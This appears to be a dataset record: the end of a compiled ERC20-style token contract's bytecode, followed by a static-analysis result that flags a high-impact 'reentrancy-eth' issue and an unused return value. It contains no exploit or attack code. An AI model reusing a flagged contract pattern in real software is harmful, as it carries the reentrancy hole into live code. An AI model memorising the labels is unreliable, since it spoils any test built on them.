9395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f82600a546121d590919063ffffffff16565b600a8190555061236a81600b5461221f90919063ffffffff16565b600b819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d07b5878788fdbce23add1c31e430818dd5526587b09dac0d302fa120b3696164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,299